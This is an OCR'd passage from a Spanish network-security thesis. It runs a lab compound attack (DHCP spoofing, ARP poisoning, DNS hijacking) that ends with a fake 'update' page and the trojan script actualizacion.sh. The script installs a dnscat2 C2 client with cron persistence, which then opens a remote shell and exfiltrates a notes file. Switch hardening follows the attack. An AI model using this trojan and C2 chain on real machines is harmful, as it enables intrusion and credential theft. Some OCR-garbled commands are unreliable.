1743 342.253256971 192.168.0.1 192.168.0.100 ICMP 98 Echo (ping

» Frame 1710: 98 bytes on wire (784 bits), 98 bytes captured (784 bits) on interface wlan®,

» Ethernet II, Src: D-Link bb:83:a5 (5c:d9:98:bb:83:a5), Dst: D-LinkIn_87:91:9c (34:0a:33:87:
» Internet Protocol Version 4, Src: 192.168.0.100, Dst: 192.168.0.1

» Internet Control Message Protocol

Figura 4-31. Inspeccion del tréfico tras el ataque Hole 196

4.29.3 Fortificacion

1° [Equipo ‘C’, usuario “dit”’] Desde el navegador, se accede al menu de configuracion del AP hasta el apartado
ADVANCED > ADVANCED WIRELESS:

e Se activa la opcion WLAN Partition!® para forzar que los equipos que quieran comunicarse entre si
obligatoriamente lo hagan atravesando el AP:

18 En otros puntos de acceso, esta opcion puede llamarse “Client isolation” o “User isolation”.
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Product Page : DIR-809 Hardware Version : B2  Firmware Version : 2.01

e IR
COETM omcowmuesssrmes [l

EORTIFORWARDING These options are for users that wish to change the behavior of their 802.11n wireless radio from » Itis recommended

the standard settings. We do not recommend changing these settings from the factory defaults. that you leave these

APPLICATION RULES :

mlneleSSRREE | [ncorrect Settings may impact the performance of your wireless radio. The default settings should parameters with their
QOS ENGINE provide the best wireless radio performance in most environments.

default values. Adjusting
them could limit the

NETWORK FILTER | Save Settings | [ Don't Save Settings | performance of your
e wireless network.

INBOUND FILTER o Enabling WMM can
ACCESS o ADVANCED WIRELESS SETTINGS help control latency and
jitter when transmitting

WEBSITE FILTER Wireless Band : 2.4GHz Band multimedia content over
a wireless connection.

FIREWALL SETTINGS Transmit Power : [High v | « More
ROUTING WLAN Partition :

ADVANCED WIRELESS WMM Enable : [

WI-FI PROTECTED HT 20/40 Coexistence : @ Enable () Disable
SETUP

ADVANCED NETWORK ADVANCED WIRELESS SETTINGS

GUEST ZONE

Wireless Band : 5GHz Band
Transmit Power : [High v |
WLAN Partition :

WMM Enable : ]

IPV6 FIREWALL

IPV6 ROUTING

Save Settings H Don't Save Settings ‘

WIRELESS

Figura 4-32. Habilitacion de la opcion WLAN Partition en el AP

4.2.9.4 Verificacion de la defensa

Al repetirse el ataque (4.2.9.2) se puede observar como el envenenamiento ARP no tiene efecto. El atacante ya
no recibe el trafico que ‘C’ envia al punto de acceso y sus mensajes de difusion solo son recibidos y respondidos
por el AP.

PING 192

64 bytes
from 19 i ; icmp_seq
from 19 i icmp_seq

Figura 4-33. Prueba de conectividad tras la fortificacion
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5 DISENO DE UN ATAQUE COMPUESTO

control de la victima. Para lograrlo, es necesario llevar a cabo una serie de ataques en cadena hasta infectar
la maquina objetivo. Consecuentemente, una defensa completa debe requerir multiples mecanismos de
defensa para evitar, por cualquier via posible, el ataque.

El ultimo apartado practico desarrolla un escenario mas complejo donde el equipo atacante intenta tomar el

5.1 Planteamiento del escenario

10.10.1.4/24
eth0: 48:5b:39:ee:fh:2a

6 [ 1

R
eth0: 48:5b:39:cc:a7:12 eth0: 48:5b:39:ef:22:2d

4
1. u
AEES0

eth0: 48:5b:39:ee:7c:0b

Figura 5-1. Escenario ataque compuesto
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3

El equipo ‘D’ alberga un servidor DHCP para configurar las direcciones del resto de equipos conectados.
Adicionalmente, también corre un servidor DNS que traduce el nombre “servidor.tfgpractica.com” a la direccion
del servidor web ‘S’.

1° [Equipo ‘D’, usuario “root”] Se configura la tarjeta de red:
ip a flush dev ethe
ip a add 10.10.1.4/24 dev ethe
ip 1 set ethe up
ip a 1ls dev etheo

2° [Equipo ‘D’, usuario “root”] Se preparan los ficheros para el servidor DHCP:

e Encel fichero principal de configuracion se afiade la direccion del servidor DNS (la propia maquina ‘D’)
para que el resto de equipos puedan acceder al dominio “servidor.tfgpractica.com”. Ademas de la poo!
de direcciones, es necesario asociar la direccion MAC de ‘S’ conuna IP para que, al resolver el nombre,
siempre devuelva la misma direccion y no se redirija a otro equipo.

/etc/dhcp/dhepd.conf

default-lease-time 600000000 ;
max-lease-time 720000000;

option domain-name-servers 10.10.1.4;

subnet 10.10.1.0 netmask 255.255.255.0 {
option broadcast-address 10.10.1.255;
range 10.10.1.5 10.10.1.20;
host servidor {
hardware ethernet 48:5b:39:ef:22:2d;
fixed-address 10.10.1.2;

e Se crea un fichero de licencias vacias:
> /var/lib/dhcpd/dhcpd. leases
/var/1lib/dhcpd/dhcpd. leases~

v

e Se arranca el servidor DHCP. Para garantizar que los cambios surtan efecto, se puede optar por
reiniciarlo:

service dhcpd restart

3° [Equipo ‘D’, usuario “root”] Se configura y arranca el servidor DNS named para que el equipo ‘C’ pueda
acceder a la web alojada en ‘S’ utilizando el alias “servidor.tfgpractica.com”. Para ello:

e Se modifica o crea, si no existiera, el archivo principal de configuracion de named:
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/etc/named.conf

options {

listen-on port 53 {127.0.0.1;10.10.1.4;};

directory “/var/named”;

dump-file “/var/named/data/named_stats.txt”;
statistics-file “/var/named/data/named_mem_stats.txt”;
allow-query {localhost;10.10.1.0/24;};
allow-transfer {none;};

};

include “/etc/named/named.conf.local”;

e Se modifica o crea, si no existiera, el archivo local de configuracion de named en la ruta indicada por la
sentencia “include” del archivo anterior:

/etc/named/named.conf.local

zone “tfgpractica.com”{
type master;

file “/etc/named/zones/db.tfgpractica.com”;

}s

e Secrea el archivo que contiene la informacion relativa al namespace “tfgpractica.com”, el cual contiene
la direccion IP hacia “servidor.tfgpractica.com™:

/etc/named/zones/db.tfgpractica.com

@ IN SOA nsl.tfgpractica.com. admin.tfgpractica.com. (
1; Serial
604800; Refresh
86400; Retry
2419200; Expire
604800; Negative cache TT

)

; Registros NS

IN NS nsl.tfgpractica.com.

; Registros A
nsl.tfgpractica.com. IN A 10.10.1.4
servidor.tfgpractica.com. IN A 10.10.1.2

e Antes de lanzar el servicio named, es conveniente comprobar la correcta sintaxis de los archivos
modificados y creados:

named-checkconf

named-checkzone tfgpractica.com /etc/named/zones/db.tfgpractica.com

o Silas ejecuciones anteriores no devuelven nada o solo advertencias por omision de campos opcionales,
se puede proceder al lanzamiento de named. Para garantizar que los cambios surtan efecto, se puede
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optar por reiniciarlo:

service named restart

4° [Equipo °S’, usuario “root”] Se solicita una direccion IP para la interfaz ethO y se comprueba como se ha
asignado la direccion 10.10.1.2:

dhclient etheo
ip a 1ls dev etheo

5° [Equipo ‘C’, usuario “root”] Se solicita una direccion IP para la interfaz eth0, recibiendo una en el rango de
direcciones configurado en el servidor DHCP:

dhclient ethe
ip a 1ls dev etheo

6° [Equipo ‘C’, usuario “dit”’] Se accede al contenido del servidor web alojado en ‘S’ mediante curi:
curl http://servidor.tfgpractica.com

7° [Usuario “root”] Una vez comprobado el correcto funcionamiento de los actores del escenario, para partir de
una configuracion limpia se liberan las direcciones y se restauran las licencias:

e [Equipos ‘C’y ‘S’]

dhclient -r ethe

ip a flush dev etho

ip 1 set down ethe

pkill -9 dhclient

> /var/lib/dhclient/dhclient.leases
[Equipo ‘D’]

> /var/lib/dhcpd/dhcpd. leases

> /var/lib/dhcpd/dhcpd. leases~

service dhcpd restart

5.2 Objetivo del ataque: control del equipo Cliente

Objetivo final Criterios ]
+ Herramienta no grafica
CoerI'remOto de + Pocas dependencias
la victima

+ Uso de ataques analizados

Procedimiento

Concatenacion de
ataques

- 3
Fortificacion
Uso de multiples
mecanismaos de

defensa
\

Figura 5-2. Esquema del ataque compuesto y criterios para la eleccion del ataque/herramienta
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El objetivo final del atacante es tomar el control de la maquina ‘C’. Entre las multiples posibilidades que existen
para llevarlo a cabo, el atacante va a hacer uso de una herramienta de tunelacion DNS que debe instalar en la
victima. Para conseguirlo, en este escenario se plantea la creacion de una pagina web maliciosa que engaie al
cliente para que descargue los scripts del tinel DNS.

Para llegar hasta el ultimo paso, el atacante debe previamente:

1.1) Realizar un ataque DHCP al servidor ‘D’ para que, cuando ‘C’ solicite una IP, sea ‘A’ quien le
suministre la direccion junto con un servidor DNS (el propio ‘A’); o bien,

1.2) Envenenar la tabla ARP de C para interceptar las peticiones DNS y el resto del trafico (MitM).
2) Redirigir a la maquina de ‘A’ las peticiones web que se realicen a ‘S’, llevando a ‘C’ a la pagina maligna.

3) Tunelar entre ‘A’ y ‘C’ una comunicacion camuflada sobre trafico DNS para poder ejecutar comandos
de forma remota.

En resumen, se concatenan los siguientes ataques: DHCP Spoofing o envenenamiento ARP, secuestro DNS y
tunelacion DNS.

5.21 Intercepcion del trafico

5.21.1 Intercepcion mediante DHCP Starvation + Spoofing

1° [Equipo ‘A’, usuario “root”] Para no competir con el servidor DHCP legitimo, es habitual realizar un
bombardeo de peticiones DHCP para agotar la pool de direcciones, dejando al servidor maligno como unico
recurso disponible en la subred. Se pueden utilizar las siguientes herramientas:

e DHCPig, el cual se encuentra preinstalado en el sistema’® y lleva un control de los mensajes DHCP que
se intercambian:

dhcpig etho

e Yersinia, ya utilizado en algunos ataques del apartado 7, el cual dispone de un médulo de ataques
DHCP. Es necesario detener activamente su ejecucion tras unos segundos:

timeout 10 yersinia dhcp -attack 1
2° [Equipo ‘A’, usuario “root”] Se configura la tarjeta de red:
ip a flush dev ethe
ip a add 10.10.1.6/24 dev etho
ip 1 set ethe up
ip a 1s dev ethe
3° [Equipo ‘A’, usuario “root”] Se preparan los ficheros para el servidor DHCP:

e Para dirigir el trafico DNS hacia el atacante, en la opcion domain-name-servers se indica primero la
direccion IP de A’ y, en segundo lugar, la del servidor legitimo ‘D’. De esta forma, en el servidor DNS
ilegitimo se pueden falsear los dominios que el atacante desee, dejando que ‘D’ atienda el resto de
peticiones. Para no alterar la direccion del servidor web S’ se fija la IP 10.10.1.2 a la direccion MAC
de ‘S’

/etc/dhep/dhepd.conf

default-lease-time 600000000;
max-lease-time 720000000;

19 Es posible que la version del sistema necesite ser actualizado a la tiltima version disponible en GitHub, el cual soporta Python 3 y la libreria
scapy 2.5.0. Para clonar el repositorio, se puede descargar el contenido mediante: git clone https://github.com/kamorin/DHCPig.git
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option domain-name-servers 10.10.1.6,10.10.1.4;

subnet 10.10.1.0 netmask 255.255.255.0 {
option broadcast-address 10.10.1.255;
range 10.10.1.50 10.10.1.99;
host servidor {
hardware ethernet 48:5b:39:ef:22:2d;
fixed-address 10.10.1.2;

}
}
e Para evitar un fallo en el arranque del servidor, se indica la interfaz Ethernet por la cual se van a atender
las peticiones:
/etc/default/isc-dhcp-server
[..]

INTERFACESv4="eth@”

e Se crea un fichero de licencias vacias:
> /var/lib/dhcpd/dhcpd. leases
> /var/lib/dhcpd/dhcpd. leases~

e Se arranca el servidor DHCP. Para garantizar que los cambios surtan efecto, se puede optar por
reiniciarlo:

service isc-dhcp-server restart
4° [Usuario “root”] Se solicita una direccion IP para las interfaces eth0:
e [Equipos ‘C’y ‘S’]
dhclient ethe
ip a 1s dev ethe

5.2.1.2 Intercepcion mediante envenenamiento ARP

Alternativamente, una intervencién menos agresiva que la mostrada en el apartado 5.2.1.1 se basa en el
envenenamiento de las tablas ARP de ‘C’y ‘D’.

1° [Usuario “root”] Se solicita una direccion IP para las interfaces eth0:
e [Equipos ‘A’, ‘C’y ‘S’]
dhclient etho
ip a 1s dev etho

2° [Equipo ‘A’, usuario “root”] Se lanza eftercap para el envenenamiento ARP indicando la direccion de ‘D’
(fija, 10.10.1.4) y de ‘C’ (dinamica, recibida por DHCP):

ettercap -T /10.10.1.4// /IP_EQUIPO_C// -M arp

5.2.2 Secuestro del servidor DNS

El secuestro o redireccionamiento DNS, tal y como se documenta en el apartado 2.4.1.1.4, puede llevarse a cabo

122



Seguridad en conmutadores de red y puntos de acceso. Clasificacion y realizacion practica de ataques 123

de maneras distintas. Dependiendo de la forma en la que se ha interceptado el trafico de la victima ‘C’, se
corresponde con un secuestro local o un ataque MitM.

5.2.21 Secuestro local DNS

Tras el ataque 5.2.1.1 se ha comprometido la configuracion del equipo ‘C’°, especificando la direccion del
atacante como primer solucionador DNS. Para poder responder estas peticiones, es necesario levantar un
servidor DNS que compita con el servidor legitimo.

1° [Equipo ‘A’, usuario “root”’] Se configura y arranca el servidor DNS named ilegitimo. Para ello:
e Sino estuviera instalado en el equipo, se ejecuta previamente:
apt install bind9
e Se modifica o crea, si no existiera, el archivo principal de configuracion de named:

/etc/bind/mamed.conf

include “/etc/bind/named.conf.options”;

include “/etc/bind/named.conf.local”;

e Se modifica o crea, si no existiera, el archivo local de configuracion de named en la ruta indicada por
las sentencias “include” del archivo anterior:

/etc/named/named.conf.options

options {
directory “/var/cache/bind”;
dump-file “/var/cache/bind/data/bind_stats.txt”;
statistics-file “/var/cache/bind/data/bind_mem_stats.txt”;
allow-query {localhost;10.10.1.0/24};

allow-transfer {none;};

}s

/etc/named/named.conf.local

zone “tfgpractica.com”{
type master;

file “/etc/bind/zones/db.tfgpractica.com”;
}s5

e Secrea el archivo que contiene la informacion relativa al namespace “tfgpractica.com”, el cual contiene
la direccion IP hacia “servidor.tfgpractica.com”:

/etc/named/zones/db.tfgpractica.com

@ IN SOA nsl.tfgpractica.com. admin.tfgpractica.com. (
1; Serial
604800; Refresh
86400; Retry
2419200; Expire
604800; Negative cache TT

)
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; Registros NS
IN NS nsl.tfgpractica.com.
; Registros A
nsl.tfgpractica.com. IN A 10.10.1.6

servidor.tfgpractica.com. IN A 10.10.1.6

e Antes de lanzar el servicio named, es conveniente comprobar la correcta sintaxis de los archivos
modificados y creados:

named-checkconf

named-checkzone tfgpractica.com /etc/bind/zones/db.tfgpractica.com

o Silas ejecuciones anteriores no devuelven nada o solo advertencias por omisién de campos opcionales,
se puede proceder al lanzamiento de named. Para garantizar que los cambios surtan efecto, se puede
optar por reiniciarlo:

service named restart

5.2.2.2  MitM DNS

El envenenamiento ARP con ettercap del apartado 5.2.1.2 puede complementarse para que responda a peticiones
DNS que cumplan un criterio.

1° [Equipo ‘A’, usuario “root”] Se modifican los archivos que utiliza la herramienta ettercap para realizar el
ataque:
e Se otorgan permisos “root” para poder operar en el puerto 53 cambiando los valores ec_uid y ec_gid a
‘0’ (usuario “root”). El resto del archivo permanece inalterado:

/etc/ettercap/etter.conf

[...]
ec_uid = @
ec_gid = @
[...]

e Seindican los registros A que ettercap debe falsear con la direccion asignada al atacante, anadiéndose
al final del archivo:

/etc/ettercap/etter.dns

[..]
servidor.tfgpractica.com A DIRECCION_IP_A

*.tfgpractica.com A DIRECCION_IP_A

2° [Equipo ‘A’, usuario “root”] En la misma consola que se esta ejecutando el envenenamiento ARP:
e Sepulsalatecla ‘p’ para activar un modulo, desplegandose una lista con las distintas posibilidades.

e Seescribe “dns_spoof” y se pulsa la tecla intro para activar dicho médulo

5.2.3 Tunelacion DNS

El software escogido para la tunelacion DNS es dnscat2 [99]. Esta herramienta esta disefiada para tener el menor
numero de dependencias posibles y poder funcionar en la mayoria de maquinas. La arquitectura cliente-servidor
de dnscat? permite que el atacante envie datos codificados sobre DNS que la victima interpreta, manejando
remotamente la maquina infectada. Este tipo de malware se conoce como mando y control (Command and
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control, o C2).

5997 1104.9756156.. 10.16.1.9 10.10.1.6 DNS 101 Standard query 0x9a93 TXT dnscat.7af301bc890f7c4d
5998 1104.9761992.. 10.10.1.6 10.10.1.9 DNS 148 Standard query response 0x9a93 TXT dnscat.7af301b
5999 1105.4269815.. 10.10.1.9 10.10.1.6 DNS 101 Standard query 0x36b2 MX dnscat.095301e4484c298d7
6000 1105.4276163.. 10.10.1.6 10.10.1.9 DNS 158 Standard query response 0x36b2 MX dnscat.095301e4
6001 1105.9971893.. 10.160.1.9 10.10.1.6 DNS 101 Standard query ©x2134 MX dnscat.1c8501bc892bSbdec
6002 1105.9978057.. 10.10.1.6 10.10.1.9 DNS 158 Standard query response 0x2134 MX dnscat.1c8501bc
6003 1106.9991993.. 10.10.1.9 10.10.1.6 DNS 101 Standard query 0x5bf2 TXT dnscat.i1f7e01bc89aeac14
6004 1106.9997916.. 10.10.1.6 10.10.1.9 DNS 148 Standard query response 0x5bf2 TXT dnscat.1f7e01b
6005 1108.0012463.. 10.10.1.9 10.10.1.6 DNS 101 Standard query ©xa856 CNAME dnscat.c65101bc891e35
6006 1108.0018666.. 10.10.1.6 10.10.1.9 DNS 156 Standard query response ©xa856 CNAME dnscat.c6510
6007 1109.0033869.. 10.10.1.9 10.10.1.6 DNS 101 Standard query ©xb2cl CNAME dnscat.82fa®1bc895755
6008 1109.0040260.. 10.10.1.6 10.10.1.9 DNS 156 Standard query response 0xb2cl CNAME dnscat.82fa@
6009 1110.0054423.. 10.10.1.9 10.10.1.6 DNS 101 Standard query 0xd547 TXT dnscat.f6a701bc8924e882
6010 1110.0066984.. 10.10.1.6 10.10.1.9 DNS 148 Standard query response 0xd547 TXT dnscat.f6a701b
6011 1111.0081065.. 10.10.1.9 10.10.1.6 DNS 101 Standard query ©x8baf MX dnscat.fd1201bc896e6b788

Figura 5-3. Ejemplo de trafico DNS con informacion codificada

La Figura 5-3 muestra una captura wireshark donde los equipos intercambian datos a través de consultas y
respuestas DNS. Tras el prefijo “dnscat.”, una cadena de caracteres hexadecimales es transportada sobre este
protocolo que dnscat2 decodifica e interpreta.

1° [Equipo ‘A’, usuario “dit”] Se descargan los archivos de dnscat2:
git clone https://github.com/iagox86/dnscat2.git

2° [Equipo ‘A’, usuario “dit”] Para que la victima pueda obtener los archivos sin necesidad de depender de una
conexion a Internet o del repositorio, se comprime en un archivo .tar:

tar cvf dnscat2.tar dnscat2
3°[Equipo ‘A’, usuario “root”] Se compila la parte servidor de dnscat2:
mv /home/dit/dnscat2 .
cd dnscat2/server
gem install bundler

bundler install

4° [Equipo ‘A’, usuario “root”] Una vez compilado con éxito, se ejecuta:

ruby ./dnscat2
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New window created: 0
dnscat2> New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.

auto_attach = false

history_size (for new windows) = 1000

Security policy changed: All connections must be encrypted
New window created: dnsl

Starting Dnscat2 DNS server on 0.0.0.0:53

[domains = n/a] ...

It looks like you didn't give me any domains to recognize!
That's cool, though, you can still use direct queries,
although those are less stealthy.

To talk directly to the server without a domain name, run:
./dnscat —dns server=x.x.x.x,port=53 —secret=f3ac97b677f69ac4d0eb64babedd0615

Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.

Figura 5-4. Ejecucion del servidor dnscat2

5.2.3.1 Creacién de una pagina web maligna

Para conseguir que la victima instale en su maquina el otro extremo del tinel DNS, el atacante crea una pagina
web a la que el cliente accede cuando introduzca en el navegador “servidor.tfgpractica.com”, fruto del secuestro
DNS.

1° [Equipo ‘A’, usuario “root”] Se crea un script que infecte al cliente al ser descargado y ejecutado:

/var/www/html/actualizacion.sh

#!/bin/bash

echo Actualizando..
directorio=$(pwd)

scp -0  StrictHostKeyChecking=no  dit@DIRECCION_IP_A:/home/dit/dnscat2.tar /tmp
>/dev/null 2>&1

tar xf /tmp/dnscat2.tar -C /tmp
cd /tmp/dnscat2/client
make >/dev/null 2>&1

echo “*/1 * * * * pgrep -x dnscat >/dev/null || /tmp/dnscat2/client/dnscat --dns
server=DIRECCION_IP_A &’ | crontab -

cd $directorio

echo Listo!

En esencia, el script utiliza el comando scp para descargar de la maquina atacante el archivo .tar que contiene
dnscat2. Tras ser extraido, se compila y, por tiltimo, se crea una tarea con crontab® para que, cada minuto, se
compruebe si existe un proceso llamado dnscat2; si no existe, se intenta conectar al equipo atacante.

20 crontab permite ejecutar cada cierto periodo el comando indicado. La expresion */1 * * * * se corresponde con “cada minuto”. En caso de que
el equipo se apague, crontab no elimina los registros, de manera que, tras ser encendido nuevamente, se ejecuta nuevamente.
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2° [Equipo ‘A’, usuario “root”] Se crea una pagina web simple que permita la descarga del script anterior:

/var/www/html/index.html

<html

<p>
<p>
<p>
<p>
<p>
<p>

<p>

<IDOCTYPE html PUBLIC “-//W3C//DTDD XHTML 1.0 Transitional//EN”
http://www.w3.0rg/TR/xhtml1l/DTD/xhtmll-transitional.dtd>

xmlns=http://www.w3.0rg/1999/xhtml>

<head>

<meta http-equiv="Content-Type” content="text/html; charset=UTF-8” />
<title>Servidor tfgpractica</title>

</head>

<body>

<a href="actualizacion.sh” download> Descargar actualizacion </a>

Para instalar la actualizacion: </p>

12 Seleccionar guardar archivo </p>

22 Abrir una terminal </p>

32 Escribir  cd Downloads </p>

4° Escribir  chmod 755 actualizacion.sh </p>
52 Escribir  ./actualizacion.sh </p>

iListo? <a href=http://10.10.1.2> Volver a la pagina principal </a> </p>

</body>
</html>

3° [Equipo ‘A’, usuario “root”] Se arranca el servidor web. Para garantizar que los cambios surtan efecto, se
puede optar por reiniciarlo:

service apache2 restart

4° [Equipo ‘C’, usuario “dit”’] Se accede con un navegador web a “servidor.tfgpractica.com” y, engafiado por la
pagina maligna creada por ‘A’, la victima sigue los pasos indicados por esta, infectando el equipo ‘C’.

&« C o Q, servidortfgpractica.com
Descargar actualizacion
Para instalar la actualizacion:
12 Seleccionar guardar archivo
22 Abrir una terminal
3¢ Escribir cd Downloads
42 Escribir chmod 755 actualizacion.sh
52 Escribir ./actualizacion.sh

éListo? Volver a la pagina principal

Figura 5-5. Acceso a la web maligna del atacante con Firefox

5.2.3.2 Control del equipo ‘C’ con dnscat2

Una vez la victima ejecuta el script, pasados unos segundos el atacante observa en la consola donde se ejecuta
el servidor dnscat2 una nueva conexion. La nueva conexion es expresada en dnscat2 como una “ventana” a la
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que el atacante puede entrar y salir.

dnscat2> New window created: 1
Session 1 security: ENCRYPTED BUT *NOT* VALIDATED
For added security, please ensure the client displays the same string:

>> Freely Real Tattoo Sawman Envied Papism

dnscat2> [

Figura 5-6. Conexion de un cliente en dnscat2

1° [Consola dnscat?] Para que el atacante pueda moverse entre las distintas ventanas, es necesario identificar
aquellas disponibles.

o Para listar las ventanas activas, se ejecuta:

windows

@ :: main [active]
crypto-debug :: Debug window for crypto stuff [*]
dnsl :: DNS Driver running on 0.0.0.0:53 domains = [*]
1 :: command (10.10.1.50) [encrypted, NOT verified] [*]
dnscat2> |}

Figura 5-7. Lista de ventanas activas en dnscat2

e Con un solo cliente conectado, deben aparecer 3 ventanas, siendo las dos primeras propias del servidor
dnscat2. El identificador ‘1’ se corresponde con la victima, cuya direccion IP aparece entre paréntesis.
Para acceder a esta:

window -i 1

2° [Consola dnscat2, ventana ‘1°] Al entrar en la ventana, dnscat2 anima al usuario a hacer una
pequefia prueba de conectividad entre cliente y servidor mediante:

ping

New window created: 1

history_size (session) = 1000

Session 1 security: ENCRYPTED BUT *NOT* VALIDATED

For added security, please ensure the client displays the same string:

>> Freely Real Tattoo Sawman Envied Papism
This is a command session!

That means you can enter a dnscat2 command such as
‘ping'! For a full list of clients, try ‘help'.

command (10.10.1.50) 1> ping
Ping!
command (10.10.1.50) 1> Pong!

Figura 5-8. Acceso y prueba de conectividad con el equipo infectado

e Esta ventana tiene disponible una serie de comandos listables con el comando “help”. Uno de los mas
importantes es el comando “shell” que, como su nombre indica, abre un intérprete de comandos en el
cliente:
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shell

Sent request to execute a shell
New window created: 2

Shell session created!
command (10.10.1.50) 1>

Figura 5-9. Shell creada con éxito en dnscat2

e LaFigura 5-9 muestra que dnscat2 ha creado un shell en la ventana ‘2’. Esta ventana es accesible desde
el menu principal de dnscat? y no en la ventana ‘1’ en la que el atacante se encuentra ahora. Para volver
a la ventana superior, el atajo de teclado Ctrl+Z es el método mas rapido para regresar.

3°[Consola dnscat2] Se accede a la ventana ‘2°, que se corresponde con el intérprete de comandos recién creado:
window -i 2

4° [Consola dnscat2, ventana ‘2’| Dentro del shell, identificable por el prefijo “sh” en la linea de comandos, se
pueden ejecutar, por ejemplo, los comandos “Is” y “pwd” para localizar y ubicar los archivos en la carpeta
personal del cliente ‘C’:

1s
pwd

sh (10.10.1.50) 2> 1s
cliente.tar
contributors.md
Descargas

Desktop

Documents
Downloads
LICENSE.md
ManageEngine

Music

notas.txt
ordenador_cliente
Pictures

Public

README .md
Templates

tmp

Videos

VirtualBox VMs
vpd.properties

sh (10.10.1.50) 2>
sh (10.10.1.50) 2> pwd
/home/dit

sh (10.10.1.50) 2>

Figura 5-10. Resultado de ejecutar los comandos Is y pwd en el intérprete de comandos con dnscat2

e Con esta informacion, se va a proceder a la descarga del archivo “notas.txt” de la maquina ‘C’. Para
ello, se retrocede a la ventana principal pulsando Ctrl+Z y accediendo a la ventana del cliente
(identificada con ‘1) mediante:

window -i 1

5° [Consola dnscat2, ventana ‘1’] El comando download permite el paso de archivos a la maquina del servidor.
Si solo se especifica el archivo a descargar, la ubicacion de la descarga se corresponde con la carpeta donde se
ejecuta dnscat?2:

download /home/dit/notas.txt

6° [Equipo ‘A’, usuario “root”] En una consola aparte, se comprueba cémo el archivo se ha descargado
correctamente, por ejemplo, con el comando “cat’:
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[root@®192-K-L1 ~] # cat dnscat2/server/notas.txt

Contrasena wifi: !x4s@B9akjz23pq
Acceso bbdd: mysqluser / contrasena

Figura 5-11. Lectura del archivo “notas.txt” en el equipo ‘A’

5.3 Fortificacion

La fortificacion para este ataque no debe limitarse a aquellos que mitigan los ataques 5.2.1.1 y 5.2.1.2. Es cierto
que interfieren directamente, pero puede darse el caso en el que el atacante, de cualquier otra forma, sea capaz
de introducir el malware en el equipo del cliente. En tltima instancia, si no hubiera una seguridad fisica
apropiada?!, el atacante podria aprovechar un descuido para instalar en ‘C’ el troyano.

En total, para una defensa completa del ataque, se hacen uso de hasta 4 modulos de seguridad diferentes. El
ultimo de ellos utiliza una funcionalidad de proteccion de nivel 3 que, pese a traspasar la condicion de aplicar
funcionalidades de nivel de enlace, puede resultar de interés y complementa la fortificacion.

1° [Consola conmutador]| Previamente, como paso comun a los distintos apartados de la fortificacion, se indica
al conmutador que muestre los eventos de manera interactiva por consola mediante:

(config)# debug destination session

5.3.1 Médulo port-security

El médulo de seguridad port-security permite controlar las direcciones MAC asociadas a cada puerto. En este
escenario, si el atacante utiliza la herramienta yersinia®* para perpetrar el ataque DHCP Starvation, ademas de
dejar vacia la pool de direcciones DHCP de ‘D’ puede llegar a saturar la tabla MAC del conmutador.

1° [Consola conmutador] Se limita el nimero de direcciones MAC que se pueden aprender en el puerto del
atacante:

(config)# port-security 6 learn-mode limited-continuous
(config)# port-security 6 address-limit 5

De esta forma, el nimero méaximo de direcciones que el conmutador asocia al puerto son 5, las cuales son
olvidadas si, tras un periodo de tiempo, no se detectan tramas con dichas direcciones MAC.

2° [Consola conmutador] Para que se muestren por pantalla los mensajes de seguridad asociados a este médulo:

debug security port-security

5.3.2 Médulo dhcp-snooping

Independientemente del ataque DHCP Starvation, el atacante puede levantar su propio servidor DHCP y
competir con ‘D’, ya que los equipos aceptan la primera oferta recibida. Para evitar la irrupcion de servidores
DHCP ilegitimos, se utiliza el modulo dhcp-snooping. Una vez configurado, este modulo registra
dinamicamente en una tabla —la tabla DHCP Snooping— las direcciones cedidas por el servidor.

1° [Consola conmutador] Para establecer el equipo ‘D’ como servidor DHCP autorizado:

e Se activa el modulo dhcp-snooping y se aplica en la VLAN por defecto:

21 Una parte importante de la ciberseguridad radica en la proteccién de los equipos como tal: videovigilancia, salas protegidas, bloqueo del
ordenador, etc. [111].

22 yersinia, a diferencia de DHCPig, falsifica la direccion MAC en la trama Ethernet y el campo CHADDR de los mensajes DHCP. DHCPig,
desde su ultima actualizacién, solo modifica el campo CHADDR vy, por tanto, no se registran nuevas direcciones en la tabla MAC del
conmutador.
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(config)# dhcp-snooping
(config)# dhcp-snooping vlan 1

e A continuacion, indica el puerto donde esta conectado el equipo ‘D’ en el conmutador para permitir el
paso de cualquier tipo de mensaje DHCP:

(config)# dhcp-snooping trust 4

¢ Finalmente, como medida adicional de seguridad por si hubieran distintos equipos conectados al puerto
4, se especifica la direccion IP que se corresponde con la del servidor DHCP:

(config)# dhcp-snooping authorized-server 10.10.1.4
2° [Consola conmutador] Para que se muestren por pantalla los mensajes de seguridad asociados a este modulo:

(config)# debug security dhcp-snooping packet

5.3.3 Médulo arp-protect

Para prevenir el envenenamiento ARP, el modulo arp-protect se apoya en la tabla DHCP Snooping para
comprobar que las direcciones MAC ¢ IP de los mensajes ARP son conformes a dicha tabla, evitando la difusion
de aquellos que no lo son. Es necesario que el modulo de seguridad dhcp-snooping esté habilitado.

1° [Consola conmutador] Partiendo de la configuracion del apartado 5.3.2, para proteger a los equipos d
e Se habilita el modulo de seguridad y se aplica en la VLAN por defecto:
(config)# arp-protect
(config)# arp-protect vlan 1

e Se crea una entrada estatica en la tabla DHCP Snooping con los datos del equipo ‘D’ para que no se
bloqueen sus mensajes:

(config)# ip source-binding 1 10.10.1.4 48:5b:39:ee:f6:2a 4
2° [Consola conmutador] Para que se muestren por pantalla los mensajes de seguridad asociados a este modulo:

(config)# debug security arp-protect

5.3.4 Moddulo ACL (funcionalidad de nivel 3)

Las listas de control de acceso del conmutador (ACLs, por sus siglas en inglés) permiten el paso o bloqueo de
paquetes atendiendo a ciertos criterios especificados. Las ACL basicas solo filtran por la direccion IP origen,
mientras que las extendidas lo hacen por direcciones IP y puertos, tanto origen como destino. Sabiendo que el
puerto 53 se corresponde generalmente con el protocolo DNS, se puede crear una ACL avanzada para restringir
este tipo de trafico.

1° [Consola conmutador] Para crear una lista de control de acceso extendida:
e Se asocia un nombre (en este caso, “DNS”’) a la ACL:

(config)# ip access-list extended DNS

e Tras ejecutar el comando anterior, se accede automaticamente a la configuracion de la ACL “DNS”,
pudiendo introducir las siguientes entradas:

(config-ext-nacl)# 1 permit udp any 10.10.1.4/32 eq 53
(config-ext-nacl)# 10 deny udp any any eq 53 log
(config-ext-nacl)# 99 permit ip any any
(config-ext-nacl)# exit

e Las tres primeras lineas, en orden de prioridad: permiten el acceso al puerto UDP 53 del equipo ‘D’; en
caso de que se intente acceder al puerto 53 de cualquier otro equipo, se rechaza y se registra; por ultimo,
se habilita el paso de cualquier otro tipo de paquete, ya que por defecto existe una denegacion implicita
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para aquellos que no cumplen con ninguna de las entradas.
